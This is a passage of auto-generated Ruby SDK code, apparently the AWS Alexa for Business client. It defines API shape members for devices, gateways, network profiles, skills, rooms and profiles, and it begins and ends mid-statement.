Shapes::ShapeRef.new(shape: DeviceDataCreatedTime, location_name: "CreatedTime")) DeviceData.struct_class = Types::DeviceData DeviceDataList.member = Shapes::ShapeRef.new(shape: DeviceData) DeviceEvent.add_member(:type, Shapes::ShapeRef.new(shape: DeviceEventType, location_name: "Type")) DeviceEvent.add_member(:value, Shapes::ShapeRef.new(shape: DeviceEventValue, location_name: "Value")) DeviceEvent.add_member(:timestamp, Shapes::ShapeRef.new(shape: DeviceEventTime, location_name: "Timestamp")) DeviceEvent.struct_class = Types::DeviceEvent DeviceEventList.member = Shapes::ShapeRef.new(shape: DeviceEvent) DeviceNetworkProfileInfo.add_member(:network_profile_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "NetworkProfileArn")) DeviceNetworkProfileInfo.add_member(:certificate_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "CertificateArn")) DeviceNetworkProfileInfo.add_member(:certificate_expiration_time, Shapes::ShapeRef.new(shape: CertificateTime, location_name: "CertificateExpirationTime")) DeviceNetworkProfileInfo.struct_class = Types::DeviceNetworkProfileInfo DeviceNotRegisteredException.add_member(:message, Shapes::ShapeRef.new(shape: ErrorMessage, location_name: "Message")) DeviceNotRegisteredException.struct_class = Types::DeviceNotRegisteredException DeviceStatusDetail.add_member(:feature, Shapes::ShapeRef.new(shape: Feature, location_name: "Feature")) DeviceStatusDetail.add_member(:code, Shapes::ShapeRef.new(shape: DeviceStatusDetailCode, location_name: "Code")) DeviceStatusDetail.struct_class = Types::DeviceStatusDetail DeviceStatusDetails.member = Shapes::ShapeRef.new(shape: DeviceStatusDetail) DeviceStatusInfo.add_member(:device_status_details, Shapes::ShapeRef.new(shape: DeviceStatusDetails, location_name: "DeviceStatusDetails")) DeviceStatusInfo.add_member(:connection_status, Shapes::ShapeRef.new(shape: ConnectionStatus, location_name: "ConnectionStatus")) DeviceStatusInfo.add_member(:connection_status_updated_time, Shapes::ShapeRef.new(shape: ConnectionStatusUpdatedTime, location_name: "ConnectionStatusUpdatedTime")) DeviceStatusInfo.struct_class = Types::DeviceStatusInfo DisassociateContactFromAddressBookRequest.add_member(:contact_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "ContactArn")) DisassociateContactFromAddressBookRequest.add_member(:address_book_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "AddressBookArn")) DisassociateContactFromAddressBookRequest.struct_class = Types::DisassociateContactFromAddressBookRequest DisassociateContactFromAddressBookResponse.struct_class = Types::DisassociateContactFromAddressBookResponse DisassociateDeviceFromRoomRequest.add_member(:device_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "DeviceArn")) DisassociateDeviceFromRoomRequest.struct_class = Types::DisassociateDeviceFromRoomRequest DisassociateDeviceFromRoomResponse.struct_class = Types::DisassociateDeviceFromRoomResponse DisassociateSkillFromSkillGroupRequest.add_member(:skill_group_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "SkillGroupArn")) DisassociateSkillFromSkillGroupRequest.add_member(:skill_id, Shapes::ShapeRef.new(shape: SkillId, required: true, location_name: "SkillId")) DisassociateSkillFromSkillGroupRequest.struct_class = Types::DisassociateSkillFromSkillGroupRequest DisassociateSkillFromSkillGroupResponse.struct_class = Types::DisassociateSkillFromSkillGroupResponse DisassociateSkillFromUsersRequest.add_member(:skill_id, Shapes::ShapeRef.new(shape: SkillId, required: true, location_name: "SkillId")) DisassociateSkillFromUsersRequest.struct_class = Types::DisassociateSkillFromUsersRequest DisassociateSkillFromUsersResponse.struct_class = Types::DisassociateSkillFromUsersResponse DisassociateSkillGroupFromRoomRequest.add_member(:skill_group_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "SkillGroupArn")) DisassociateSkillGroupFromRoomRequest.add_member(:room_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "RoomArn")) DisassociateSkillGroupFromRoomRequest.struct_class = Types::DisassociateSkillGroupFromRoomRequest DisassociateSkillGroupFromRoomResponse.struct_class = Types::DisassociateSkillGroupFromRoomResponse EndOfMeetingReminder.add_member(:reminder_at_minutes, Shapes::ShapeRef.new(shape: EndOfMeetingReminderMinutesList, location_name: "ReminderAtMinutes")) EndOfMeetingReminder.add_member(:reminder_type, Shapes::ShapeRef.new(shape: EndOfMeetingReminderType, location_name: "ReminderType")) EndOfMeetingReminder.add_member(:enabled, Shapes::ShapeRef.new(shape: Boolean, location_name: "Enabled")) EndOfMeetingReminder.struct_class = Types::EndOfMeetingReminder EndOfMeetingReminderMinutesList.member = Shapes::ShapeRef.new(shape: Minutes) Features.member = Shapes::ShapeRef.new(shape: Feature) Filter.add_member(:key, Shapes::ShapeRef.new(shape: FilterKey, required: true, location_name: "Key")) Filter.add_member(:values, Shapes::ShapeRef.new(shape: FilterValueList, required: true, location_name: "Values")) Filter.struct_class = Types::Filter FilterList.member = Shapes::ShapeRef.new(shape: Filter) FilterValueList.member = Shapes::ShapeRef.new(shape: FilterValue) ForgetSmartHomeAppliancesRequest.add_member(:room_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "RoomArn")) ForgetSmartHomeAppliancesRequest.struct_class = Types::ForgetSmartHomeAppliancesRequest ForgetSmartHomeAppliancesResponse.struct_class = Types::ForgetSmartHomeAppliancesResponse Gateway.add_member(:arn, Shapes::ShapeRef.new(shape: Arn, location_name: "Arn")) Gateway.add_member(:name, Shapes::ShapeRef.new(shape: GatewayName, location_name: "Name")) Gateway.add_member(:description, Shapes::ShapeRef.new(shape: GatewayDescription, location_name: "Description")) Gateway.add_member(:gateway_group_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "GatewayGroupArn")) Gateway.add_member(:software_version, Shapes::ShapeRef.new(shape: GatewayVersion, location_name: "SoftwareVersion")) Gateway.struct_class = Types::Gateway GatewayGroup.add_member(:arn, Shapes::ShapeRef.new(shape: Arn, location_name: "Arn")) GatewayGroup.add_member(:name, Shapes::ShapeRef.new(shape: GatewayGroupName, location_name: "Name")) GatewayGroup.add_member(:description, Shapes::ShapeRef.new(shape: GatewayGroupDescription, location_name: "Description")) GatewayGroup.struct_class = Types::GatewayGroup GatewayGroupSummaries.member = Shapes::ShapeRef.new(shape: GatewayGroupSummary) GatewayGroupSummary.add_member(:arn, Shapes::ShapeRef.new(shape: Arn, location_name: "Arn")) GatewayGroupSummary.add_member(:name, Shapes::ShapeRef.new(shape: GatewayGroupName, location_name: "Name")) GatewayGroupSummary.add_member(:description, Shapes::ShapeRef.new(shape: GatewayGroupDescription, location_name: "Description")) GatewayGroupSummary.struct_class = Types::GatewayGroupSummary GatewaySummaries.member = Shapes::ShapeRef.new(shape: GatewaySummary) GatewaySummary.add_member(:arn, Shapes::ShapeRef.new(shape: Arn, location_name: "Arn")) GatewaySummary.add_member(:name, Shapes::ShapeRef.new(shape: GatewayName, location_name: "Name")) GatewaySummary.add_member(:description, Shapes::ShapeRef.new(shape: GatewayDescription, location_name: "Description")) GatewaySummary.add_member(:gateway_group_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "GatewayGroupArn")) GatewaySummary.add_member(:software_version, Shapes::ShapeRef.new(shape: GatewayVersion, location_name: "SoftwareVersion")) GatewaySummary.struct_class = Types::GatewaySummary GenericKeywords.member = Shapes::ShapeRef.new(shape: GenericKeyword) GetAddressBookRequest.add_member(:address_book_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "AddressBookArn")) GetAddressBookRequest.struct_class = Types::GetAddressBookRequest GetAddressBookResponse.add_member(:address_book, Shapes::ShapeRef.new(shape: AddressBook, location_name: "AddressBook")) GetAddressBookResponse.struct_class = Types::GetAddressBookResponse GetConferencePreferenceRequest.struct_class = Types::GetConferencePreferenceRequest GetConferencePreferenceResponse.add_member(:preference, Shapes::ShapeRef.new(shape: ConferencePreference, location_name: "Preference")) GetConferencePreferenceResponse.struct_class = Types::GetConferencePreferenceResponse GetConferenceProviderRequest.add_member(:conference_provider_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "ConferenceProviderArn")) GetConferenceProviderRequest.struct_class = Types::GetConferenceProviderRequest GetConferenceProviderResponse.add_member(:conference_provider, Shapes::ShapeRef.new(shape: ConferenceProvider, location_name: "ConferenceProvider")) GetConferenceProviderResponse.struct_class = Types::GetConferenceProviderResponse GetContactRequest.add_member(:contact_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "ContactArn")) GetContactRequest.struct_class = Types::GetContactRequest GetContactResponse.add_member(:contact, Shapes::ShapeRef.new(shape: Contact, location_name: "Contact")) GetContactResponse.struct_class = Types::GetContactResponse GetDeviceRequest.add_member(:device_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "DeviceArn")) GetDeviceRequest.struct_class = Types::GetDeviceRequest GetDeviceResponse.add_member(:device, Shapes::ShapeRef.new(shape: Device, location_name: "Device")) GetDeviceResponse.struct_class = Types::GetDeviceResponse GetGatewayGroupRequest.add_member(:gateway_group_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "GatewayGroupArn")) GetGatewayGroupRequest.struct_class = Types::GetGatewayGroupRequest GetGatewayGroupResponse.add_member(:gateway_group, Shapes::ShapeRef.new(shape: GatewayGroup, location_name: "GatewayGroup")) GetGatewayGroupResponse.struct_class = Types::GetGatewayGroupResponse GetGatewayRequest.add_member(:gateway_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "GatewayArn")) GetGatewayRequest.struct_class = Types::GetGatewayRequest GetGatewayResponse.add_member(:gateway, Shapes::ShapeRef.new(shape: Gateway, location_name: "Gateway")) GetGatewayResponse.struct_class = Types::GetGatewayResponse GetInvitationConfigurationRequest.struct_class = Types::GetInvitationConfigurationRequest GetInvitationConfigurationResponse.add_member(:organization_name, Shapes::ShapeRef.new(shape: OrganizationName, location_name: "OrganizationName")) GetInvitationConfigurationResponse.add_member(:contact_email, Shapes::ShapeRef.new(shape: Email, location_name: "ContactEmail")) GetInvitationConfigurationResponse.add_member(:private_skill_ids, Shapes::ShapeRef.new(shape: ShortSkillIdList, location_name: "PrivateSkillIds")) GetInvitationConfigurationResponse.struct_class = Types::GetInvitationConfigurationResponse GetNetworkProfileRequest.add_member(:network_profile_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "NetworkProfileArn")) GetNetworkProfileRequest.struct_class = Types::GetNetworkProfileRequest GetNetworkProfileResponse.add_member(:network_profile, Shapes::ShapeRef.new(shape: NetworkProfile, location_name: "NetworkProfile")) GetNetworkProfileResponse.struct_class = Types::GetNetworkProfileResponse GetProfileRequest.add_member(:profile_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "ProfileArn")) GetProfileRequest.struct_class = Types::GetProfileRequest GetProfileResponse.add_member(:profile, Shapes::ShapeRef.new(shape: Profile, location_name: "Profile")) GetProfileResponse.struct_class = Types::GetProfileResponse GetRoomRequest.add_member(:room_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "RoomArn")) GetRoomRequest.struct_class = Types::GetRoomRequest GetRoomResponse.add_member(:room, Shapes::ShapeRef.new(shape: Room, location_name: "Room")) GetRoomResponse.struct_class = Types::GetRoomResponse GetRoomSkillParameterRequest.add_member(:room_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "RoomArn")) GetRoomSkillParameterRequest.add_member(:skill_id, Shapes::ShapeRef.new(shape: SkillId, required: true, location_name: "SkillId")) GetRoomSkillParameterRequest.add_member(:parameter_key, Shapes::ShapeRef.new(shape: RoomSkillParameterKey, required: true, location_name: "ParameterKey")) GetRoomSkillParameterRequest.struct_class = Types::GetRoomSkillParameterRequest GetRoomSkillParameterResponse.add_member(:room_skill_parameter, Shapes::ShapeRef.new(shape: RoomSkillParameter, location_name: "RoomSkillParameter")) GetRoomSkillParameterResponse.struct_class = Types::GetRoomSkillParameterResponse GetSkillGroupRequest.add_member(:skill_group_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "SkillGroupArn")) GetSkillGroupRequest.struct_class = Types::GetSkillGroupRequest GetSkillGroupResponse.add_member(:skill_group, Shapes::ShapeRef.new(shape: SkillGroup, location_name: "SkillGroup")) GetSkillGroupResponse.struct_class = Types::GetSkillGroupResponse IPDialIn.add_member(:endpoint, Shapes::ShapeRef.new(shape: Endpoint, required: true, location_name: "Endpoint")) IPDialIn.add_member(:comms_protocol, Shapes::ShapeRef.new(shape: CommsProtocol, required: true, location_name: "CommsProtocol")) IPDialIn.struct_class = Types::IPDialIn InstantBooking.add_member(:duration_in_minutes, Shapes::ShapeRef.new(shape: Minutes, location_name: "DurationInMinutes")) InstantBooking.add_member(:enabled, Shapes::ShapeRef.new(shape: Boolean, location_name: "Enabled")) InstantBooking.struct_class = Types::InstantBooking InvalidCertificateAuthorityException.add_member(:message, Shapes::ShapeRef.new(shape: ErrorMessage, location_name: "Message")) InvalidCertificateAuthorityException.struct_class = Types::InvalidCertificateAuthorityException InvalidDeviceException.add_member(:message, Shapes::ShapeRef.new(shape: ErrorMessage, location_name: "Message")) InvalidDeviceException.struct_class = Types::InvalidDeviceException InvalidSecretsManagerResourceException.add_member(:message, Shapes::ShapeRef.new(shape: ErrorMessage, location_name: "Message")) InvalidSecretsManagerResourceException.struct_class = Types::InvalidSecretsManagerResourceException InvalidServiceLinkedRoleStateException.add_member(:message, Shapes::ShapeRef.new(shape: ErrorMessage, location_name: "Message")) InvalidServiceLinkedRoleStateException.struct_class = Types::InvalidServiceLinkedRoleStateException InvalidUserStatusException.add_member(:message, Shapes::ShapeRef.new(shape: ErrorMessage, location_name: "Message")) InvalidUserStatusException.struct_class = Types::InvalidUserStatusException LimitExceededException.add_member(:message, Shapes::ShapeRef.new(shape: ErrorMessage, location_name: "Message")) LimitExceededException.struct_class = Types::LimitExceededException ListBusinessReportSchedulesRequest.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) ListBusinessReportSchedulesRequest.add_member(:max_results, Shapes::ShapeRef.new(shape: MaxResults, location_name: "MaxResults")) ListBusinessReportSchedulesRequest.struct_class = Types::ListBusinessReportSchedulesRequest ListBusinessReportSchedulesResponse.add_member(:business_report_schedules, Shapes::ShapeRef.new(shape: BusinessReportScheduleList, location_name: "BusinessReportSchedules")) ListBusinessReportSchedulesResponse.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) ListBusinessReportSchedulesResponse.struct_class = Types::ListBusinessReportSchedulesResponse ListConferenceProvidersRequest.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) ListConferenceProvidersRequest.add_member(:max_results, Shapes::ShapeRef.new(shape: MaxResults, location_name: "MaxResults")) ListConferenceProvidersRequest.struct_class = Types::ListConferenceProvidersRequest ListConferenceProvidersResponse.add_member(:conference_providers, Shapes::ShapeRef.new(shape: ConferenceProvidersList, location_name: "ConferenceProviders")) ListConferenceProvidersResponse.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) ListConferenceProvidersResponse.struct_class = Types::ListConferenceProvidersResponse ListDeviceEventsRequest.add_member(:device_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "DeviceArn")) ListDeviceEventsRequest.add_member(:event_type, Shapes::ShapeRef.new(shape: DeviceEventType, location_name: "EventType")) ListDeviceEventsRequest.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) ListDeviceEventsRequest.add_member(:max_results, Shapes::ShapeRef.new(shape: MaxResults, location_name: "MaxResults")) ListDeviceEventsRequest.struct_class = Types::ListDeviceEventsRequest ListDeviceEventsResponse.add_member(:device_events, Shapes::ShapeRef.new(shape: DeviceEventList, location_name: "DeviceEvents")) ListDeviceEventsResponse.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) ListDeviceEventsResponse.struct_class = Types::ListDeviceEventsResponse ListGatewayGroupsRequest.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) ListGatewayGroupsRequest.add_member(:max_results, Shapes::ShapeRef.new(shape: MaxResults, location_name: "MaxResults")) ListGatewayGroupsRequest.struct_class = Types::ListGatewayGroupsRequest ListGatewayGroupsResponse.add_member(:gateway_groups, Shapes::ShapeRef.new(shape: GatewayGroupSummaries, location_name: "GatewayGroups")) ListGatewayGroupsResponse.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) ListGatewayGroupsResponse.struct_class = Types::ListGatewayGroupsResponse ListGatewaysRequest.add_member(:gateway_group_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "GatewayGroupArn")) ListGatewaysRequest.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) ListGatewaysRequest.add_member(:max_results, Shapes::ShapeRef.new(shape: MaxResults, location_name: "MaxResults")) ListGatewaysRequest.struct_class = Types::ListGatewaysRequest ListGatewaysResponse.add_member(:gateways, Shapes::ShapeRef.new(shape: GatewaySummaries, location_name: "Gateways")) ListGatewaysResponse.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) ListGatewaysResponse.struct_class = Types::ListGatewaysResponse ListSkillsRequest.add_member(:skill_group_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "SkillGroupArn")) ListSkillsRequest.add_member(:enablement_type, Shapes::ShapeRef.new(shape: EnablementTypeFilter, location_name: "EnablementType")) ListSkillsRequest.add_member(:skill_type, Shapes::ShapeRef.new(shape: SkillTypeFilter, location_name: "SkillType")) ListSkillsRequest.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) ListSkillsRequest.add_member(:max_results, Shapes::ShapeRef.new(shape: SkillListMaxResults, location_name: "MaxResults")) ListSkillsRequest.struct_class = Types::ListSkillsRequest ListSkillsResponse.add_member(:skill_summaries, Shapes::ShapeRef.new(shape: SkillSummaryList, location_name: "SkillSummaries")) ListSkillsResponse.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) ListSkillsResponse.struct_class = Types::ListSkillsResponse ListSkillsStoreCategoriesRequest.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) ListSkillsStoreCategoriesRequest.add_member(:max_results, Shapes::ShapeRef.new(shape: MaxResults, location_name: "MaxResults")) ListSkillsStoreCategoriesRequest.struct_class = Types::ListSkillsStoreCategoriesRequest ListSkillsStoreCategoriesResponse.add_member(:category_list, Shapes::ShapeRef.new(shape: CategoryList, location_name: "CategoryList")) ListSkillsStoreCategoriesResponse.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) ListSkillsStoreCategoriesResponse.struct_class = Types::ListSkillsStoreCategoriesResponse ListSkillsStoreSkillsByCategoryRequest.add_member(:category_id, Shapes::ShapeRef.new(shape: CategoryId, required: true, location_name: "CategoryId")) ListSkillsStoreSkillsByCategoryRequest.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) ListSkillsStoreSkillsByCategoryRequest.add_member(:max_results, Shapes::ShapeRef.new(shape: SkillListMaxResults, location_name: "MaxResults")) ListSkillsStoreSkillsByCategoryRequest.struct_class = Types::ListSkillsStoreSkillsByCategoryRequest ListSkillsStoreSkillsByCategoryResponse.add_member(:skills_store_skills, Shapes::ShapeRef.new(shape: SkillsStoreSkillList, location_name: "SkillsStoreSkills")) ListSkillsStoreSkillsByCategoryResponse.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) ListSkillsStoreSkillsByCategoryResponse.struct_class = Types::ListSkillsStoreSkillsByCategoryResponse ListSmartHomeAppliancesRequest.add_member(:room_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "RoomArn")) ListSmartHomeAppliancesRequest.add_member(:max_results, Shapes::ShapeRef.new(shape: MaxResults, location_name: "MaxResults")) ListSmartHomeAppliancesRequest.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) ListSmartHomeAppliancesRequest.struct_class = Types::ListSmartHomeAppliancesRequest ListSmartHomeAppliancesResponse.add_member(:smart_home_appliances, Shapes::ShapeRef.new(shape: SmartHomeApplianceList, location_name: "SmartHomeAppliances")) ListSmartHomeAppliancesResponse.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) ListSmartHomeAppliancesResponse.struct_class = Types::ListSmartHomeAppliancesResponse ListTagsRequest.add_member(:arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "Arn")) ListTagsRequest.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) ListTagsRequest.add_member(:max_results, Shapes::ShapeRef.new(shape: MaxResults, location_name: "MaxResults")) ListTagsRequest.struct_class = Types::ListTagsRequest ListTagsResponse.add_member(:tags, Shapes::ShapeRef.new(shape: TagList, location_name: "Tags")) ListTagsResponse.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) ListTagsResponse.struct_class = Types::ListTagsResponse MeetingRoomConfiguration.add_member(:room_utilization_metrics_enabled, Shapes::ShapeRef.new(shape: Boolean, location_name: "RoomUtilizationMetricsEnabled")) MeetingRoomConfiguration.add_member(:end_of_meeting_reminder, Shapes::ShapeRef.new(shape: EndOfMeetingReminder, location_name: "EndOfMeetingReminder")) MeetingRoomConfiguration.add_member(:instant_booking, Shapes::ShapeRef.new(shape: InstantBooking, location_name: "InstantBooking")) MeetingRoomConfiguration.add_member(:require_check_in, Shapes::ShapeRef.new(shape: RequireCheckIn, location_name: "RequireCheckIn")) MeetingRoomConfiguration.struct_class = Types::MeetingRoomConfiguration MeetingSetting.add_member(:require_pin, Shapes::ShapeRef.new(shape: RequirePin, required: true, location_name: "RequirePin")) MeetingSetting.struct_class = Types::MeetingSetting NameInUseException.add_member(:message, Shapes::ShapeRef.new(shape: ErrorMessage, location_name: "Message")) NameInUseException.struct_class = Types::NameInUseException NetworkProfile.add_member(:network_profile_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "NetworkProfileArn")) NetworkProfile.add_member(:network_profile_name, Shapes::ShapeRef.new(shape: NetworkProfileName, location_name: "NetworkProfileName")) NetworkProfile.add_member(:description, Shapes::ShapeRef.new(shape: NetworkProfileDescription, location_name: "Description")) NetworkProfile.add_member(:ssid, Shapes::ShapeRef.new(shape: NetworkSsid, location_name: "Ssid")) NetworkProfile.add_member(:security_type, Shapes::ShapeRef.new(shape: NetworkSecurityType, location_name: "SecurityType")) NetworkProfile.add_member(:eap_method, Shapes::ShapeRef.new(shape: NetworkEapMethod, location_name: "EapMethod")) NetworkProfile.add_member(:current_password, Shapes::ShapeRef.new(shape: CurrentWiFiPassword, location_name: "CurrentPassword")) NetworkProfile.add_member(:next_password, Shapes::ShapeRef.new(shape: NextWiFiPassword, location_name: "NextPassword")) NetworkProfile.add_member(:certificate_authority_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "CertificateAuthorityArn")) NetworkProfile.add_member(:trust_anchors, Shapes::ShapeRef.new(shape: TrustAnchorList, location_name: "TrustAnchors")) NetworkProfile.struct_class = Types::NetworkProfile NetworkProfileData.add_member(:network_profile_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "NetworkProfileArn")) NetworkProfileData.add_member(:network_profile_name, Shapes::ShapeRef.new(shape: NetworkProfileName, location_name: "NetworkProfileName")) NetworkProfileData.add_member(:description, Shapes::ShapeRef.new(shape: NetworkProfileDescription, location_name: "Description")) NetworkProfileData.add_member(:ssid, Shapes::ShapeRef.new(shape: NetworkSsid, location_name: "Ssid")) NetworkProfileData.add_member(:security_type, Shapes::ShapeRef.new(shape: NetworkSecurityType, location_name: "SecurityType")) NetworkProfileData.add_member(:eap_method, Shapes::ShapeRef.new(shape: NetworkEapMethod, location_name: "EapMethod")) NetworkProfileData.add_member(:certificate_authority_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "CertificateAuthorityArn")) NetworkProfileData.struct_class = Types::NetworkProfileData NetworkProfileDataList.member = Shapes::ShapeRef.new(shape: NetworkProfileData) NewInThisVersionBulletPoints.member = Shapes::ShapeRef.new(shape: BulletPoint) NotFoundException.add_member(:message, Shapes::ShapeRef.new(shape: ErrorMessage, location_name: "Message")) NotFoundException.struct_class = Types::NotFoundException PSTNDialIn.add_member(:country_code, Shapes::ShapeRef.new(shape: CountryCode, required: true, location_name: "CountryCode")) PSTNDialIn.add_member(:phone_number, Shapes::ShapeRef.new(shape: OutboundPhoneNumber, required: true, location_name: "PhoneNumber")) PSTNDialIn.add_member(:one_click_id_delay, Shapes::ShapeRef.new(shape: OneClickIdDelay, required: true, location_name: "OneClickIdDelay")) PSTNDialIn.add_member(:one_click_pin_delay, Shapes::ShapeRef.new(shape: OneClickPinDelay, required: true, location_name: "OneClickPinDelay")) PSTNDialIn.struct_class = Types::PSTNDialIn PhoneNumber.add_member(:number, Shapes::ShapeRef.new(shape: RawPhoneNumber, required: true, location_name: "Number")) PhoneNumber.add_member(:type, Shapes::ShapeRef.new(shape: PhoneNumberType, required: true, location_name: "Type")) PhoneNumber.struct_class = Types::PhoneNumber PhoneNumberList.member = Shapes::ShapeRef.new(shape: PhoneNumber) Profile.add_member(:profile_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "ProfileArn")) Profile.add_member(:profile_name, Shapes::ShapeRef.new(shape: ProfileName, location_name: "ProfileName")) Profile.add_member(:is_default, Shapes::ShapeRef.new(shape: Boolean, location_name: "IsDefault")) Profile.add_member(:address, Shapes::ShapeRef.new(shape: Address, location_name: "Address")) Profile.add_member(:timezone, Shapes::ShapeRef.new(shape: Timezone, location_name: "Timezone")) Profile.add_member(:distance_unit, Shapes::ShapeRef.new(shape: DistanceUnit, location_name: "DistanceUnit")) Profile.add_member(:temperature_unit, Shapes::ShapeRef.new(shape: TemperatureUnit, location_name: "TemperatureUnit")) Profile.add_member(:wake_word, Shapes::ShapeRef.new(shape: WakeWord, location_name: "WakeWord")) Profile.add_member(:locale, Shapes::ShapeRef.new(shape: DeviceLocale, location_name: "Locale")) Profile.add_member(:setup_mode_disabled, Shapes::ShapeRef.new(shape: Boolean, location_name: "SetupModeDisabled")) Profile.add_member(:max_volume_limit, Shapes::ShapeRef.new(shape: MaxVolumeLimit, location_name: "MaxVolumeLimit")) Profile.add_member(:pstn_enabled, Shapes::ShapeRef.new(shape: Boolean, location_name: "PSTNEnabled")) Profile.add_member(:address_book_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "AddressBookArn")) Profile.add_member(:meeting_room_configuration, Shapes::ShapeRef.new(shape: MeetingRoomConfiguration, location_name: "MeetingRoomConfiguration")) Profile.struct_class = Types::Profile ProfileData.add_member(:profile_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "ProfileArn")) ProfileData.add_member(:profile_name, Shapes::ShapeRef.new(shape: ProfileName, location_name: "ProfileName")) ProfileData.add_member(:is_default, Shapes::ShapeRef.new(shape: Boolean, location_name: "IsDefault")) ProfileData.add_member(:address, Shapes::ShapeRef.new(shape: Address, location_name: "Address")) ProfileData.add_member(:timezone, Shapes::ShapeRef.new(shape: Timezone, location_name: "Timezone")) ProfileData.add_member(:distance_unit, Shapes::ShapeRef.new(shape: DistanceUnit, location_name: "DistanceUnit")) ProfileData.add_member(:temperature_unit, Shapes::ShapeRef.new(shape: TemperatureUnit, location_name: "TemperatureUnit")) ProfileData.add_member(:wake_word, Shapes::ShapeRef.new(shape: WakeWord, location_name: "WakeWord")) ProfileData.add_member(:locale, Shapes::ShapeRef.new(shape: DeviceLocale, location_name: "Locale")) ProfileData.struct_class = Types::ProfileData ProfileDataList.member = Shapes::ShapeRef.new(shape: ProfileData) PutConferencePreferenceRequest.add_member(:conference_preference, Shapes::ShapeRef.new(shape: ConferencePreference, required: true, location_name: "ConferencePreference")) PutConferencePreferenceRequest.struct_class = Types::PutConferencePreferenceRequest PutConferencePreferenceResponse.struct_class = Types::PutConferencePreferenceResponse PutInvitationConfigurationRequest.add_member(:organization_name, Shapes::ShapeRef.new(shape: OrganizationName, required: true, location_name: "OrganizationName")) PutInvitationConfigurationRequest.add_member(:contact_email, Shapes::ShapeRef.new(shape: Email, location_name: "ContactEmail")) PutInvitationConfigurationRequest.add_member(:private_skill_ids, Shapes::ShapeRef.new(shape: ShortSkillIdList, location_name: "PrivateSkillIds")) PutInvitationConfigurationRequest.struct_class = Types::PutInvitationConfigurationRequest PutInvitationConfigurationResponse.struct_class = Types::PutInvitationConfigurationResponse PutRoomSkillParameterRequest.add_member(:room_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "RoomArn")) PutRoomSkillParameterRequest.add_member(:skill_id, Shapes::ShapeRef.new(shape: SkillId, required: true, location_name: "SkillId")) PutRoomSkillParameterRequest.add_member(:room_skill_parameter, Shapes::ShapeRef.new(shape: RoomSkillParameter, required: true, location_name: "RoomSkillParameter")) PutRoomSkillParameterRequest.struct_class = Types::PutRoomSkillParameterRequest PutRoomSkillParameterResponse.struct_class = Types::PutRoomSkillParameterResponse PutSkillAuthorizationRequest.add_member(:authorization_result, Shapes::ShapeRef.new(shape: AuthorizationResult, required: true, location_name: "AuthorizationResult")) PutSkillAuthorizationRequest.add_member(:skill_id, Shapes::ShapeRef.new(shape: SkillId, required: true, location_name: "SkillId")) PutSkillAuthorizationRequest.add_member(:room_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "RoomArn")) PutSkillAuthorizationRequest.struct_class = Types::PutSkillAuthorizationRequest PutSkillAuthorizationResponse.struct_class = Types::PutSkillAuthorizationResponse RegisterAVSDeviceRequest.add_member(:client_id, Shapes::ShapeRef.new(shape: ClientId, required: true, location_name: "ClientId")) RegisterAVSDeviceRequest.add_member(:user_code, Shapes::ShapeRef.new(shape: UserCode, required: true, location_name: "UserCode")) RegisterAVSDeviceRequest.add_member(:product_id, Shapes::ShapeRef.new(shape: ProductId, required: 